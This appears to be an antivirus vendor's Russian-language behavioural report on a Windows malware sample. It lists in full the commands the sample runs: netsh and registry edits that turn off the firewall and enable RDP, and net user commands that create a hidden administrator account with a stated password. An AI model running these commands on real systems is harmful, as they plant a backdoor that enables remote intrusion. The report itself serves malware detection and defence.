Техническая информация
Для обеспечения автозапуска и распространения
Устанавливает следующие настройки сервисов
- [HKLM\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Создает следующие сервисы
- 'umbus' system32\DRIVERS\umbus.sys
Вредоносные функции
Для обхода брандмауэра удаляет или модифицирует следующие ключи реестра
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
- [HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
Запускает на исполнение
- '<SYSTEM32>\netsh.exe' firewall set portopening protocol=TCP port=3389
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
- '<SYSTEM32>\netsh.exe' Advfirewall set allprofiles state off
- '<SYSTEM32>\netsh.exe' advfirewall firewall set rule group="remote desktop" new enable=Yes
- '<SYSTEM32>\netsh.exe' firewall set service type = remotedesktop mode = enable
Изменения в файловой системе
Создает следующие файлы
- <SYSTEM32>\microsoft\protect\s-1-5-20\86df0891-a243-4638-9c04-f6b7b4a5b52d
- <SYSTEM32>\microsoft\protect\s-1-5-20\preferred
- %ALLUSERSPROFILE%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_d4602615-9d50-4880-be41-678935e93eaa
Самоудаляется.
Сетевая активность
UDP
- 'localhost':51900
- 'localhost':53893
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c wmic Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
- '<SYSTEM32>\attrib.exe' %HOMEPATH%Help +r +a +s +h
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v UserHelp /t REG_DWORD /d 00000000 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\services\TermService\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d <SYSTEM32>\termsrv.dll /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Lsa" /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /f /d 0 /v Support Systems
- '<SYSTEM32>\reg.exe' add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v UserHelp /t REG_DWORD /d 0x0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
- '<SYSTEM32>\net1.exe' accounts /forcelogoff:no /maxpwage:unlimited
- '<SYSTEM32>\net.exe' accounts /forcelogoff:no /maxpwage:unlimited
- '<SYSTEM32>\net1.exe' localgroup "Remote Desktop Users" UserHelp /add
- '<SYSTEM32>\net.exe' localgroup "Remote Desktop Users" UserHelp /add
- '<SYSTEM32>\wbem\wmic.exe' Group Where "SID = 'S-1-5-32-555'" Get Name /Value
- '<SYSTEM32>\cmd.exe' /c wmic Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
- '<SYSTEM32>\net1.exe' localgroup Administrators UserHelp /add
- '<SYSTEM32>\net.exe' localgroup Administrators UserHelp /add
- '<SYSTEM32>\net1.exe' user UserHelp B2q4xx9Bp2 /add /active:"yes" /expires:"never" /passwordchg:"NO" /fullname:"Support Systems" /comment:"Built-in account for supported the computer/domain"
- '<SYSTEM32>\net.exe' user UserHelp B2q4xx9Bp2 /add /active:"yes" /expires:"never" /passwordchg:"NO" /fullname:"Support Systems" /comment:"Built-in account for supported the computer/domain"
- '<SYSTEM32>\wbem\wmic.exe' Group Where "SID = 'S-1-5-32-544'" Get Name /Value
- '<SYSTEM32>\find.exe' "="
- '<SYSTEM32>\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
